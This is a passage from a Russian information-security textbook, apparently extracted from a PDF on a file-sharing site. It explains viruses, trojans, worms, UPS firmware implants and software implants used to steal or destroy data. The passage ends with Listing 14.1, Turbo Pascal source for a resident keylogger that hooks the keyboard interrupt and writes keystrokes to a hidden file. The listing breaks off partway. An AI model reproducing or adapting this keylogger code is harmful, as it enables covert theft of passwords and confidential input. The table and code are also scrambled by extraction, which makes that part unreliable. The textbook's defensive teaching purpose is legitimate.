Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Методы и средства защиты информации

.pdf
Скачиваний:
198
Добавлен:
03.03.2016
Размер:
5.1 Mб
Скачать

Вирусные методы разрушенияинформации 251

Еще одним примером являются современные мощные полнопроточные UPS импортного производства, которые имеют развитое встроенное программное обеспечение для управления, в том числе, уровнем выходного напряжения. Соответствующая программная закладка может быть активизирована закодированной командой по сети электропитания и на короткое время перепрограммирует UPS на максимально возможное выходное напряжение, которое приведет к выходу из строя защищаемого UPS оборудования. Так как программное обеспечение UPS специализированно, то поиск таких закладок может быть затруднителен. Поэтому рекомендуется устанавливать на входе UPS дополнительные фильтры.

По способу управления ТС НСВ могут быть с ручным управлением, автоматическим и дистанционным. АвтоматическиеТС НСВ могут генерировать импульсы напряжения периодически, по случайному закону, по максимуму нагрузки ( у последовательновключаемыхТС НСВ может контролироватьсяток в цепи нагрузки, т.е. косвенно количествовключаемыхПЭВМ) и т.д.

Вирусные методы разрушения информации

Компьютерным вирусом называется программа, которая может “ заражать” другие программы, включая в них свою (возможно, модифицированную) копию. Эта копия, в свою очередь, также способна к дальнейшему размножению. Следовательно, заражая программы, вирусы способны распространяться от одной программы к другой. Зараженные программы (или их копии) могут передаваться через дискеты или по сети на другие ЭВМ.

Упрощенно процесс заражения вирусом программных файлов можно представить следующим образом.

1.Код зараженной программы изменен таким образом, чтобы вирус получал управление первым, до начала работы программы-носителя.

2.При получении управления вирус находит на диске какую-нибудь не зараженную программу и вставляет собственную копию в начало (или в конец) этой программы. Возможны случаи, когда вирус включает себя в середину программы.

3.Если вирусдописываетсяне в началопрограммы, то он корректируетее код (или даже уничтожаетпрограмму) с тем, чтобыполучитьуправлениепервым.

4.После размножения (или вместо него в отдельных случаях) вирус может производить различные разрушающие действия.

5.После этого управление обычно передается программе-носителю (как правило, она сохраняется вирусом) и она выполняет свои функции, делая незаметными для пользователя действия вируса.

Для более эффективного размножения вирус при первом получении управления становится резидентным, т.е. постоянно присутствует в оперативной па-

252 Глава 14. Методы и средства разрушения информации

мяти во время работы компьютера и размножает свои копии, как говорилось раньше, при каждом обращении пользователя к программе для ее выполнения, копирования, изменения или просмотра.

Одной из разновидностей вирусов являются вредоносные программы типа “Троянский конь”. К ним обычно относят специально созданные программы, которые, попадая в вычислительные системы (обычно под видом заведомо полезных программ), начинают скрытно выполнять несанкционированные действия.

Еще одним типом вирусов являются так называемые черви, которые воспроизводятся, копируя себя в памяти одного или нескольких компьютеров (в случае сети), независимо от наличия в ней других программ.

В качестве программ-носителей вирусов могут выступать следующие носители.

Выполняемые файлы, т.е. файлы с расширением COM, EXE, DLL, OVL и т.п. Так как вирус начинает работу при запуске зараженной программы, особенно опасно заражение часто используемых программ. При заражении программы многими из современных вирусов, использующих особенности формата выполняемых файлов для системы Windows, длина программы остается неиз-

менной. Возможно также распространение вируса в программах, написанных на языке программирования высокого уровня, если они работают в среде интерпретатора этого языка, например VBA (Visual Basic for Application), который встраивается в такие популярные программы, как Microsoft Word, Microsoft Excel, Microsoft Outlook, Microsoft PowerPoint, CorelDraw, AutoCAD и

др.

Программы операционной системы и драйверы устройств (обычно име-

ют расширения SYS, BIN, VXD и т.п.).

Программа-загрузчик операционной системы, находящаяся в первом сек-

торе диска. Так как программа-загрузчик невелика, то вирус обычно размещает себя в дополнительных секторах на диске, которые помечает как “пло-

хие” (bad).

Объектные файлы и библиотеки (расширения OBJ, LIB, TPU и т.п.). Такие файлы и библиотеки, полученные из ненадежного источника, могут содержать, помимо полезного кода, встроенный вирус. При использовании зараженных библиотек вирус автоматически будет попадать во все создаваемые на основе таких библиотек программы.

Вирусы часто производят какие-либо разрушительные действия. Но, в отличии от способности к размножению, разрушение не является неотъемлемой функцией вируса. Хотя воздействие вируса на систему, программы, данные и аппаратуру могут быть весьма разнообразными, однако если в такой размножающейся программе есть ошибки, не предусмотренные ее автором, то последствия могут быть непредсказуемы. Кроме того, надо учитывать, что само размножение имеет следствием сокращение доступного дискового пространства и увеличение времени работы программ.

Вирусные методы разрушенияинформации 253

Действия вируса ведут чаще всего к отказу от выполнения той или иной функции или к выполнению функции, не предусмотренной программой. При этом создается впечатление, что происходят программные сбои или ошибки оборудования. Это впечатление усиливается способностью вируса выдавать ложное сообщение или искусственно вызывать ошибки системы. Неправильные действия системы, как правило, замечаются пользователем и могут быть им прекращены для предотвращения катастрофических последствий. Если наблюдаемые действия вызваны именно вирусом, то нужно как можно быстрее прекратить работу на компьютере и провести проверку программ и оборудования. Подозрение на появление вируса возможно в следующих случаях:

отключения какой-то стандартной функции системного или прикладного программного обеспечения ( например, отключение перезагрузки, которая при нормальной работе должна происходить после нажатия комбинации клавиш

<Ctrl+Alt+Del>);

проявления ошибок или сбоев при выполнении прежде стабильно работавших программ (например, переполнения буфера или деления на 0), самопроизвольной перегрузки или “зависания” операционной системы;

выполнения операций, не предусмотренных алгоритмом программы ( например, изменение данных в файле, не санкционированное пользователем, в том числе шифрование);

изменения атрибутов файла (например, дата создания файла, его длина и т.п.);

разрушения файлов, отдельных управляющих блоков или самой файловой системы ( несанкционированное форматирование жесткого диска, неожиданное исчезновение отдельных файлов и т.п.);

слишком частых обращений к диску;

появления ложных, раздражающих или отвлекающих сообщений;

блокирования доступа к системным ресурсам ( исчерпание дискового пространства из-за многократного повторного заражения, отключение механизма передачи параметров в запускаемые программы, существенное замедление работы путем выполнения холостого цикла при каждом прерывании от системного таймера и т.п.);

появления на экране дисплея световых пятен, черных областей и других визуальных аномалий;

проявления звуковых или визуальных эффектов ( например, “ осыпание символов” на экране, замедление перерисовки объектов на экране, воспроизведение мелодии и т.п.);

имитации аппаратных отказов;

сообщений антивирусных средств.

Наиболее распространенным разрушительным действием вируса является уничтожение информации (программ и данных). К сожалению, простого мето-

254 Глава 14. Методы и средства разрушения информации

да восстановления удаленных файлов в такой операционной системе, как MS DOS, не существует, хотя принципиально возможно восстановить файл путем просмотра всего дискового пространства с помощью специальных средств.

Труднее обнаружить не уничтожение, а изменение содержимого файла. Такие действия вируса особенно опасны, так как файлы могут быть существенно искажены, но заметить это удается слишком поздно. Например, вирус может заменить в файле данных все символы “5” на символы “7”. В этом случае искажение файла вызовет самые тяжелые последствия. Даже если такие искажения будут сразу обнаружены, потребуется значительное время, прежде чем эти данные можно будет снова нормально использовать. Вирусом могут быть вызваны изменения в программах, что порождает различные ошибки, сбои или отказы в работе программного обеспечения. Посредством изменения вирус способен разрушить аппаратные средства.

Примером таких действий являются следующие события:

интенсивное использование плохо охлаждаемого элемента конструкции для вывода его из строя или возгорания в результате перегрева;

“прожигание” пятна на экране;

нарушение работы периферийного оборудования, в результате задания ему неправильных режимов функционирования;

низкоуровневое изменение системных областей жесткого диска, вследствие чего диск невозможно восстановить без специального оборудования.

Важно иметь в виду, что вирус поражает определенные объекты, вторично их (как правило) не заражая, но зараженный объект сам становится источником информации.

Разрушающие программные средства

Программными закладками называются своеобразные программы, использующие вирусную технологию скрытного внедрения, распространения и активизации. Однако, в отличие от вирусов, которые просто уничтожают информацию, программные закладки, прежде всего, предназначены для ее несанкционированного скрытного получения. Типичная программная закладка может, например, сохранять вводимую с клавиатуры информацию (в том числе и пароли) в нескольких зарезервированных для этого секторах, а затем пересылать накопленные данные по сети на компьютер злоумышленника.

Программные закладки можно классифицировать по методу и месту их внедрения и применения (т.е. по способу доставки в систему).

1.Закладки, ассоциированные с программно-аппаратной средой.

2.Закладки, ассоциированные с программами первичной загрузки.

3.Закладки, ассоциированные с загрузкой драйверов, командного интерпретатора, сетевых драйверов, т.е. с загрузкой операционной среды.

Разрушающиепрограммныесредства 255

4.Закладки, ассоциированные с прикладным программным обеспечением общего назначения (встроенные клавиатурные и экранные драйверы, программы тестирования ПЭВМ, утилиты и оболочки).

5.Используемые модули, содержащие только код закладки ( как правило, внедряемые в пакетные файлы типа BAT).

6.Модули-имитаторы, совпадающие с некоторыми программами, требующими ввода конфиденциальной информации (по внешнему виду).

7.Закладки, маскируемые под программные средства оптимизационного назначения (архиваторы, ускорители и т.д.).

8.Закладки, маскируемые под программные средства игрового и развлекательного назначения ( как правило, используются для первичного внедрения закладок типа “исследователь”).

Для того чтобы закладка смогла выполнить какие-либо функции, она должна получить управление, т.е. процессор должен начать выполнять инструкции (команды), относящиеся к коду закладки. Это возможно только при одновременном выполнении двух условий:

закладка должна находиться в оперативной памяти до начала работы программы, которая является целью воздействия закладки, следовательно, она должна быть загружена раньше или одновременно с этой программой;

закладка должна активизироваться по некоторому общему, как для закладки, так и для программы, событию, т.е. при выполнении ряда условий в аппарат- но-программной среде управление должно быть передано на программузакладку.

Это достигается путем анализа и обработки закладкой общих для закладки и прикладной программы воздействий ( как правило, прерываний). Причем выбираются прерывания, которые наверняка используются прикладной программой или операционной системой. В качестве таких прерываний можно выделить:

прерывания от системного таймера;

прерывания от внешних устройств;

прерывания от клавиатуры;

прерывания при работе с диском;

прерывания операционной среды ( в том числе прерывания для работы с файлами и запуска выполняемых модулей).

Впротивном случае активизации кода закладки не произойдет, и он не сможет оказать какого-либо воздействия на работу программы ЗИ.

Кроме того, возможны случаи, когда при запуске программы ( в этом случае активизирующим событием является запуск программы) закладка разрушает некоторую часть кода программы, уже загруженной в оперативную память, и, возможно, систему контроля целостности кода или контроля иных событий и на этом заканчивает свою работу.

256 Глава 14. Методы и средства разрушения информации

Таким образом, можно выделить следующие типы закладок.

1.Резидентная — находится в памяти постоянно с некоторого момента времени до окончания сеанса работы ПЭВМ (выключения питания или перегрузки).

Закладка может быть загружена в память при начальной загрузке ПЭВМ, загрузке операционной среды или запуске некоторой программы ( которая по традиции называется вирусоносителем), а также запущена отдельно.

2.Нерезидентная— начинает работу по аналогичномусобытию, но заканчивают ее самостоятельно по истечению некоторого промежутка времени или некоторому событию, при этом выгружая себя из памяти целиком.

Несанкционированная запись закладкой может происходить:

в массив данных, не совпадающий с пользовательской информацией (хищение информации);

в массив данных, совпадающий с пользовательской информацией и ее подмножества(искажение, уничтожениеили навязываниеинформациизакладкой).

Следовательно, можно рассматривать три основные группы деструктивных функций, которые могут выполняться закладками:

сохранение фрагментов информации, возникающей при работе пользователя, прикладныхпрограмм, вводе/выводе данных, на локальном или сетевом диске;

разрушение функций самоконтроля или изменение алгоритмов функционирования прикладных программ;

навязывание некоторого режима работы (например, при уничтожении информации — блокирование записи на диск без уничтожения информации), либо навязывание посторонней информации вместо полезной информации при записи последней на диск.

Негативное воздействие закладки на программу

Классификация закладок по негативным воздействиям, которые они могут оказывать на прикладные программы, приведена в табл. 14.1.

Таблица 14.1. Классификация закладок по негативным воздействиям

Несанкционирован-

 

Операции, выпол-

ные операции, вы-

 

няемые прикладной

полняемыезакладкой

Действие

программой (ПП)

Тип

Считы-

За-

 

Считы-

Запись

 

вание

пись

 

вание

 

1

0

0

нет

0

0

2

0

0

нет

0

1

3

0

0

нет

1

0

4

0

0

нет

1

1

Разрушающиепрограммныесредства 257

5

0

1

разрушение кода ПП в опера-

0

0

 

 

 

тивной памяти (ОП)

 

 

6

0

1

разрушение или

сохранение

0

1

 

 

 

выводимых данных

 

 

7

0

1

разрушение или

сохранение

1

0

 

 

 

вводимых данных

 

 

 

8

0

1

разрушение или

сохранение

1

1

 

 

 

вводимых и выводимых дан-

 

 

 

 

 

ных

 

 

 

9

1

0

нет

 

0

0

10

1

0

перенос выводимых данных в

0

1

 

 

 

ОП

 

 

 

11

1

0

перенос вводимых данных в

1

0

 

 

 

ОП

 

 

 

12

1

0

перенос вводимых и выводи-

1

1

 

 

 

мых данных в ОП

 

 

 

13

1

1

размножение

 

0

0

14

1

1

разрушение или

сохранение

0

1

 

 

 

выводимых данных

 

 

15

1

1

разрушение или

сохранение

1

0

 

 

 

вводимых данных

 

 

 

16

1

1

разрушение или

сохранение

1

1

 

 

 

вводимых и выводимых дан-

 

 

 

 

 

ных

 

 

 

Сохранение фрагментов информации

В этом случае можно выделить три основные причины потенциально возможного нарушения безопасности системы “ пользователь — система защиты

— данные”:

вывод информации на экран;

вывод информации в файл или иное внешнее устройство;

ввод информации с клавиатуры.

Сохранение фрагментов вводимой и выводимой информации можно представить так. Программа выделяет себе в оперативной памяти некоторую информационную область, где помещается информация для обработки ( как правило, доступная для непосредственного считывания: область экрана, клавиатурный буфер). Закладка определяет адрес информативной области программы (иногда этот адрес используется всеми программами и поэтому заранее известен). Далее необходимо анализировать события, связанные с работой приклад-

258 Глава 14. Методы и средства разрушения информации

ной программы или операционной среды, причем интерес представляют лишь события, результатом которых может стать появление интересующей информации в информативной области. Установив факт интересующего события, закладка переносит часть информативной области либо всю информативную область в свою область сохранения (непосредственно на диск или в выделенную область оперативной памяти).

Перехват вывода на экран

Рассмотрим только текстовый режим вывода. Режим графического вывода будет отличаться лишь тем, что изменится адрес видеобуфера в программе, и информация будет представлена в виде точек с определенным цветом.

В оперативной памяти ПЭВМ область видеобуфера имеет заранее известный фиксированный адрес. Видеобуфер, с точки зрения программы, представляет собой область обычной оперативной памяти, которая рассматривается как последовательность слов (16 бит) в формате: символ (8 бит) + цвет (8 бит).

Выводимый на экран текст помещается в видеобуфер, откуда может быть считан и сохранен закладкой.

Синхронизирующим событием в этом случае может быть:

ввод с клавиатуры длинной последовательности символов (обрабатываемого текста);

чтение из файла;

запуск программ с определенными именами.

Кроме того, возможно периодическое сохранение области экранного буфера по сигналу от системного таймера.

Перехват ввода с клавиатуры

Закладки, анализирующие ввод с клавиатуры, являются достаточно опасными, поскольку клавиатура является основным устройством управления и ввода информации. Через клавиатурный ввод можно получить информацию о вводимых конфиденциальных сообщениях (текстах), паролях и т.д.

Перехват может производится двумя основными способами:

встраивание в цепочку прерывания int 9h;

анализом содержания клавиатурного порта или буфера по прерыванию от системного таймера.

Работа закладки основывается на полном сохранении всех нажатий (отжатий) клавиш в файле. Файл затем изучается, и на его основе злоумышленник, пытавшийся получить доступ к зашифрованным файлам, восстанавливает возможные парольные последовательности.

Пример подобной закладки приведен в листинге 14.1.

Разрушающиепрограммныесредства 259

Листинг 14.1. Пример закладки, перехватывающей ввод с клавиатуры

{$M 2048,0,0} {$F+}

Uses Dos;

const

 

'C:\WINDOWS\USER.BIN';

ArchiveName =

OldSS

: Word = 0;

OldSP

: Word = 0;

StackSW

: Integer = - 1;

NewSS

: Word = 0;

NewSP

: Word = 0;

var

 

: Procedure;

Old9h

 

R

 

: Registers;

DOSSeg, DOSOfs

: Word;

Tick, WaitBuf

: Integer;

NeedPop

 

: Boolean;

CBuf

 

: Word;

KBuf

 

: array [1..255] of Byte;

procedure BeginInt; inline($FF/$06/StackSW/

$75/$10/ $8C/$16/OldSS/ $89/$26/OldSP/ $8E/$16/NewSS/

Продолжение листинга 14.1

$8B/$26/NewSP);

procedure EndInt; inline($FF/$0E/StackSW/

$7D/$08/ $8E/$16/OldSS/ $8B/$26/OldSP);

procedure CallPop(Sub: Pointer); begin

inline($FF/$5E/$06); end;

procedure CLI; inline($FA);

260 Глава 14. Методы и средства разрушения информации

procedure STI; inline($FB);

procedure TSRCrap; var

F: File; begin

CLI;

BeginInt;

STI;

NeedPop := False; Assign(F, ArchiveName); {$I-}

Reset(F,1); {$I+}

if IOResult <> 0 then ReWrite(F,1) else seek(F,FileSize(F)); SetFAttr(F,ARCHIVE+HIDDEN);

BlockWrite(F,KBuf,CBuf); { Запись содержимого буфера в файл } CBuf := 0;

Close(F); Tick := 0; CLI; EndInt; STI;

end;

Продолжение листинга 14.1

procedure RunTSR; interrupt; begin

CLI;

BeginInt;

STI;

Inc(Tick);

if (Tick > 18.2 * WaitBuf) and (CBuf > 0) then begin

NeedPop := True;

if Mem[DOSSeg:DOSOfs] = 0 then begin

NeedPop := False; Port[$20]:=$20;